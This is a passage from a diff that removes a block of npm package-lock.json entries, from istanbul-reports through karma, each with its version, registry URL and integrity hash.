+- "istanbul-lib-coverage": "^3.0.0",
+- "source-map": "^0.6.1"
+- },
+- "dependencies": {
+- "source-map": {
+- "version": "0.6.1",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+- "dev": true
+- }
+- }
+- },
+- "istanbul-reports": {
+- "version": "3.1.3",
+- "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.3.tgz",
+- "integrity": "sha512-x9LtDVtfm/t1GFiLl3NffC7hz+I1ragvgX1P/Lg1NlIagifZDKUkuuaAxH/qpwj2IuEfD8G2Bs/UKp+sZ/pKkg==",
+- "dev": true,
+- "requires": {
+- "html-escaper": "^2.0.0",
+- "istanbul-lib-report": "^3.0.0"
+- }
+- },
+- "jest-worker": {
+- "version": "27.5.1",
+- "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz",
+- "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==",
+- "requires": {
+- "@types/node": "*",
+- "merge-stream": "^2.0.0",
+- "supports-color": "^8.0.0"
+- }
+- },
+- "jmespath": {
+- "version": "0.16.0",
+- "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz",
+- "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw=="
+- },
+- "joi": {
+- "version": "17.6.0",
+- "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz",
+- "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==",
+- "requires": {
+- "@hapi/hoek": "^9.0.0",
+- "@hapi/topo": "^5.0.0",
+- "@sideway/address": "^4.1.3",
+- "@sideway/formula": "^3.0.0",
+- "@sideway/pinpoint": "^2.0.0"
+- },
+- "dependencies": {
+- "@hapi/hoek": {
+- "version": "9.2.1",
+- "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.2.1.tgz",
+- "integrity": "sha512-gfta+H8aziZsm8pZa0vj04KO6biEiisppNgA1kbJvFrrWu9Vm7eaUEy76DIxsuTaWvti5fkJVhllWc6ZTE+Mdw=="
+- }
+- }
+- },
+- "jose": {
+- "version": "4.6.0",
+- "resolved": "https://registry.npmjs.org/jose/-/jose-4.6.0.tgz",
+- "integrity": "sha512-0hNAkhMBNi4soKSAX4zYOFV+aqJlEz/4j4fregvasJzEVtjDChvWqRjPvHwLqr5hx28Ayr6bsOs1Kuj87V0O8w=="
+- },
+- "jquery": {
+- "version": "2.2.4",
+- "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz",
+- "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI="
+- },
+- "js-beautify": {
+- "version": "1.14.0",
+- "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.0.tgz",
+- "integrity": "sha512-yuck9KirNSCAwyNJbqW+BxJqJ0NLJ4PwBUzQQACl5O3qHMBXVkXb/rD0ilh/Lat/tn88zSZ+CAHOlk0DsY7GuQ==",
+- "dev": true,
+- "requires": {
+- "config-chain": "^1.1.12",
+- "editorconfig": "^0.15.3",
+- "glob": "^7.1.3",
+- "nopt": "^5.0.0"
+- }
+- },
+- "js-stringify": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz",
+- "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds="
+- },
+- "js-tokens": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+- "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+- },
+- "js-yaml": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+- "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+- "requires": {
+- "argparse": "^2.0.1"
+- }
+- },
+- "js2xmlparser": {
+- "version": "4.0.2",
+- "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz",
+- "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==",
+- "dev": true,
+- "requires": {
+- "xmlcreate": "^2.0.4"
+- }
+- },
+- "jsbn": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
+- "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM="
+- },
+- "jsdoc": {
+- "version": "3.6.10",
+- "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.10.tgz",
+- "integrity": "sha512-IdQ8ppSo5LKZ9o3M+LKIIK8i00DIe5msDvG3G81Km+1dhy0XrOWD0Ji8H61ElgyEj/O9KRLokgKbAM9XX9CJAg==",
+- "dev": true,
+- "requires": {
+- "@babel/parser": "^7.9.4",
+- "@types/markdown-it": "^12.2.3",
+- "bluebird": "^3.7.2",
+- "catharsis": "^0.9.0",
+- "escape-string-regexp": "^2.0.0",
+- "js2xmlparser": "^4.0.2",
+- "klaw": "^4.0.1",
+- "markdown-it": "^12.3.2",
+- "markdown-it-anchor": "^8.4.1",
+- "marked": "^4.0.10",
+- "mkdirp": "^1.0.4",
+- "requizzle": "^0.2.3",
+- "strip-json-comments": "^3.1.0",
+- "taffydb": "2.6.2",
+- "underscore": "~1.13.2"
+- },
+- "dependencies": {
+- "escape-string-regexp": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+- "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+- "dev": true
+- },
+- "mkdirp": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
+- "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+- "dev": true
+- }
+- }
+- },
+- "jsdoc-api": {
+- "version": "7.1.1",
+- "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-7.1.1.tgz",
+- "integrity": "sha512-0pkuPCzVXiqsDAsVrNFXCkHzlyNepBIDVtwwehry4RJAnZmXtlAz7rh8F9FRz53u3NeynGbex+bpYWwi8lE66A==",
+- "dev": true,
+- "requires": {
+- "array-back": "^6.2.2",
+- "cache-point": "^2.0.0",
+- "collect-all": "^1.0.4",
+- "file-set": "^4.0.2",
+- "fs-then-native": "^2.0.0",
+- "jsdoc": "^3.6.10",
+- "object-to-spawn-args": "^2.0.1",
+- "temp-path": "^1.0.0",
+- "walk-back": "^5.1.0"
+- }
+- },
+- "jsdoc-parse": {
+- "version": "6.1.0",
+- "resolved": "https://registry.npmjs.org/jsdoc-parse/-/jsdoc-parse-6.1.0.tgz",
+- "integrity": "sha512-n/hDGQJa69IBun1yZAjqzV4gVR41+flZ3bIlm9fKvNe2Xjsd1/+zCo2+R9ls8LxtePgIWbpA1jU7xkB2lRdLLg==",
+- "dev": true,
+- "requires": {
+- "array-back": "^6.2.2",
+- "lodash.omit": "^4.5.0",
+- "lodash.pick": "^4.4.0",
+- "reduce-extract": "^1.0.0",
+- "sort-array": "^4.1.4",
+- "test-value": "^3.0.0"
+- }
+- },
+- "jsdoc-to-markdown": {
+- "version": "7.1.1",
+- "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-7.1.1.tgz",
+- "integrity": "sha512-CI86d63xAVNO+ENumWwmJ034lYe5iGU5GwjtTA11EuphP9tpnoi4hrKgR/J8uME0D+o4KUpVfwX1fjZhc8dEtg==",
+- "dev": true,
+- "requires": {
+- "array-back": "^6.2.2",
+- "command-line-tool": "^0.8.0",
+- "config-master": "^3.1.0",
+- "dmd": "^6.1.0",
+- "jsdoc-api": "^7.1.1",
+- "jsdoc-parse": "^6.1.0",
+- "walk-back": "^5.1.0"
+- }
+- },
+- "jsdom": {
+- "version": "19.0.0",
+- "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz",
+- "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==",
+- "dev": true,
+- "requires": {
+- "abab": "^2.0.5",
+- "acorn": "^8.5.0",
+- "acorn-globals": "^6.0.0",
+- "cssom": "^0.5.0",
+- "cssstyle": "^2.3.0",
+- "data-urls": "^3.0.1",
+- "decimal.js": "^10.3.1",
+- "domexception": "^4.0.0",
+- "escodegen": "^2.0.0",
+- "form-data": "^4.0.0",
+- "html-encoding-sniffer": "^3.0.0",
+- "http-proxy-agent": "^5.0.0",
+- "https-proxy-agent": "^5.0.0",
+- "is-potential-custom-element-name": "^1.0.1",
+- "nwsapi": "^2.2.0",
+- "parse5": "6.0.1",
+- "saxes": "^5.0.1",
+- "symbol-tree": "^3.2.4",
+- "tough-cookie": "^4.0.0",
+- "w3c-hr-time": "^1.0.2",
+- "w3c-xmlserializer": "^3.0.0",
+- "webidl-conversions": "^7.0.0",
+- "whatwg-encoding": "^2.0.0",
+- "whatwg-mimetype": "^3.0.0",
+- "whatwg-url": "^10.0.0",
+- "ws": "^8.2.3",
+- "xml-name-validator": "^4.0.0"
+- },
+- "dependencies": {
+- "@tootallnate/once": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz",
+- "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==",
+- "dev": true
+- },
+- "acorn": {
+- "version": "8.7.0",
+- "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz",
+- "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==",
+- "dev": true
+- },
+- "form-data": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
+- "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+- "dev": true,
+- "requires": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.8",
+- "mime-types": "^2.1.12"
+- }
+- },
+- "http-proxy-agent": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz",
+- "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==",
+- "dev": true,
+- "requires": {
+- "@tootallnate/once": "2",
+- "agent-base": "6",
+- "debug": "4"
+- }
+- },
+- "tr46": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
+- "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
+- "dev": true,
+- "requires": {
+- "punycode": "^2.1.1"
+- }
+- },
+- "whatwg-url": {
+- "version": "10.0.0",
+- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz",
+- "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==",
+- "dev": true,
+- "requires": {
+- "tr46": "^3.0.0",
+- "webidl-conversions": "^7.0.0"
+- }
+- }
+- }
+- },
+- "jsdom-global": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz",
+- "integrity": "sha1-a9KZwTsMRiay2iwDk81DhdYGrLk=",
+- "dev": true,
+- "requires": {}
+- },
+- "jsesc": {
+- "version": "2.5.2",
+- "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+- "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA=="
+- },
+- "json-bigint": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz",
+- "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==",
+- "requires": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "json-buffer": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
+- "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
+- },
+- "json-parse-better-errors": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
+- "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw=="
+- },
+- "json-parse-even-better-errors": {
+- "version": "2.3.1",
+- "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+- "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==",
+- "dev": true
+- },
+- "json-refs": {
+- "version": "3.0.15",
+- "resolved": "https://registry.npmjs.org/json-refs/-/json-refs-3.0.15.tgz",
+- "integrity": "sha512-0vOQd9eLNBL18EGl5yYaO44GhixmImes2wiYn9Z3sag3QnehWrYWlB9AFtMxCL2Bj3fyxgDYkxGFEU/chlYssw==",
+- "requires": {
+- "commander": "~4.1.1",
+- "graphlib": "^2.1.8",
+- "js-yaml": "^3.13.1",
+- "lodash": "^4.17.15",
+- "native-promise-only": "^0.8.1",
+- "path-loader": "^1.0.10",
+- "slash": "^3.0.0",
+- "uri-js": "^4.2.2"
+- },
+- "dependencies": {
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "requires": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- }
+- },
+- "slash": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
+- }
+- }
+- },
+- "json-schema": {
+- "version": "0.4.0",
+- "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+- "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+- },
+- "json-schema-traverse": {
+- "version": "0.4.1",
+- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+- "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+- },
+- "json-stable-stringify-without-jsonify": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+- "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=",
+- "dev": true
+- },
+- "json-stream": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/json-stream/-/json-stream-1.0.0.tgz",
+- "integrity": "sha1-GjhU4o0rvuqzHMfd9oPS3cVlJwg="
+- },
+- "json-stringify-safe": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
+- "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus="
+- },
+- "json2csv": {
+- "version": "4.5.4",
+- "resolved": "https://registry.npmjs.org/json2csv/-/json2csv-4.5.4.tgz",
+- "integrity": "sha512-YxBhY4Lmn8IvVZ36nqg5omxneLy9JlorkqW1j/EDCeqvmi+CQ4uM+wsvXlcIqvGDewIPXMC/O/oF8DX9EH5aoA==",
+- "requires": {
+- "commander": "^2.15.1",
+- "jsonparse": "^1.3.1",
+- "lodash.get": "^4.4.2"
+- },
+- "dependencies": {
+- "commander": {
+- "version": "2.20.3",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+- }
+- }
+- },
+- "json5": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz",
+- "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==",
+- "requires": {
+- "minimist": "^1.2.5"
+- },
+- "dependencies": {
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- }
+- }
+- },
+- "jsonfile": {
+- "version": "6.1.0",
+- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz",
+- "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==",
+- "requires": {
+- "graceful-fs": "^4.1.6",
+- "universalify": "^2.0.0"
+- }
+- },
+- "jsonparse": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
+- "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA="
+- },
+- "jsonpath-plus": {
+- "version": "0.19.0",
+- "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-0.19.0.tgz",
+- "integrity": "sha512-GSVwsrzW9LsA5lzsqe4CkuZ9wp+kxBb2GwNniaWzI2YFn5Ig42rSW8ZxVpWXaAfakXNrx5pgY5AbQq7kzX29kg=="
+- },
+- "JSONStream": {
+- "version": "1.3.5",
+- "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
+- "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==",
+- "requires": {
+- "jsonparse": "^1.2.0",
+- "through": ">=2.2.7 <3"
+- }
+- },
+- "jsonwebtoken": {
+- "version": "8.5.1",
+- "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz",
+- "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==",
+- "requires": {
+- "jws": "^3.2.2",
+- "lodash.includes": "^4.3.0",
+- "lodash.isboolean": "^3.0.3",
+- "lodash.isinteger": "^4.0.4",
+- "lodash.isnumber": "^3.0.3",
+- "lodash.isplainobject": "^4.0.6",
+- "lodash.isstring": "^4.0.1",
+- "lodash.once": "^4.0.0",
+- "ms": "^2.1.1",
+- "semver": "^5.6.0"
+- },
+- "dependencies": {
+- "jwa": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
+- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
+- "requires": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "jws": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
+- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+- "requires": {
+- "jwa": "^1.4.1",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+- }
+- }
+- },
+- "jsprim": {
+- "version": "1.4.2",
+- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
+- "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
+- "requires": {
+- "assert-plus": "1.0.0",
+- "extsprintf": "1.3.0",
+- "json-schema": "0.4.0",
+- "verror": "1.10.0"
+- },
+- "dependencies": {
+- "assert-plus": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
+- "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
+- }
+- }
+- },
+- "jstransformer": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz",
+- "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=",
+- "requires": {
+- "is-promise": "^2.0.0",
+- "promise": "^7.0.1"
+- }
+- },
+- "jsx-ast-utils": {
+- "version": "3.2.1",
+- "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz",
+- "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==",
+- "dev": true,
+- "requires": {
+- "array-includes": "^3.1.3",
+- "object.assign": "^4.1.2"
+- }
+- },
+- "just-extend": {
+- "version": "4.2.1",
+- "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz",
+- "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==",
+- "dev": true
+- },
+- "jwa": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz",
+- "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==",
+- "requires": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "jws": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz",
+- "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==",
+- "requires": {
+- "jwa": "^2.0.0",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "kareem": {
+- "version": "2.3.2",
+- "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz",
+- "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ=="
+- },
+- "karma": {
+- "version": "6.3.17",
+- "resolved": "https://registry.npmjs.org/karma/-/karma-6.3.17.tgz",
+- "integrity": "sha512-2TfjHwrRExC8yHoWlPBULyaLwAFmXmxQrcuFImt/JsAsSZu1uOWTZ1ZsWjqQtWpHLiatJOHL5jFjXSJIgCd01g==",
+- "dev": true,
+- "requires": {
+- "@colors/colors": "1.5.0",
+- "body-parser": "^1.19.0",
+- "braces": "^3.0.2",
+- "chokidar": "^3.5.1",
+- "connect": "^3.7.0",
+- "di": "^0.0.1",
+- "dom-serialize": "^2.2.1",
+- "glob": "^7.1.7",
+- "graceful-fs": "^4.2.6",
+- "http-proxy": "^1.18.1",
+- "isbinaryfile": "^4.0.8",
+- "lodash": "^4.17.21",
+- "log4js": "^6.4.1",
+- "mime": "^2.5.2",
+- "minimatch": "^3.0.4",
+- "mkdirp": "^0.5.5",
+- "qjobs": "^1.2.0",
+- "range-parser": "^1.2.1",
+- "rimraf": "^3.0.2",
+- "socket.io": "^4.2.0",
+- "source-map": "^0.6.1",
+- "tmp": "^0.2.1",
+- "ua-parser-js": "^0.7.30",
+- "yargs": "^16.1.1"
+- },
+- "dependencies": {
+- "base64id": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz",
+- "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==",
+- "dev": true
+- },
+- "minimist": {
+- "version": "1.2.6",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
+- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==",
+- "dev": true
+- },
+- "mkdirp": {
+- "version": "0.5.6",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
+- "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+- "dev": true,
+- "requires": {
+- "minimist": "^1.2.6"
+- }
+- },
+- "rimraf": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+- "dev": true,
+- "requires": {
+- "glob": "^7.1.3"
+- }
+- },
+- "socket.io": {
+- "version": "4.4.1",
+- "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.4.1.tgz",
+- "integrity": "sha512-s04vrBswdQBUmuWJuuNTmXUVJhP0cVky8bBDhdkf8y0Ptsu7fKU2LuLbts9g+pdmAdyMMn8F/9Mf1/wbtUN0fg==",
+- "dev": true,
+- "requires": {
+- "accepts": "~1.3.4",
+- "base64id": "~2.0.0",
+- "debug": "~4.3.2",
+- "engine.io": "~6.1.0",
+- "socket.io-adapter": "~2.3.3",
+- "socket.io-parser": "~4.0.4"
+- }
+- },
+- "source-map": {
+- "version": "0.6.1",
+- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+- "dev": true
+- },
+- "yargs": {
+- "version": "16.2.0",
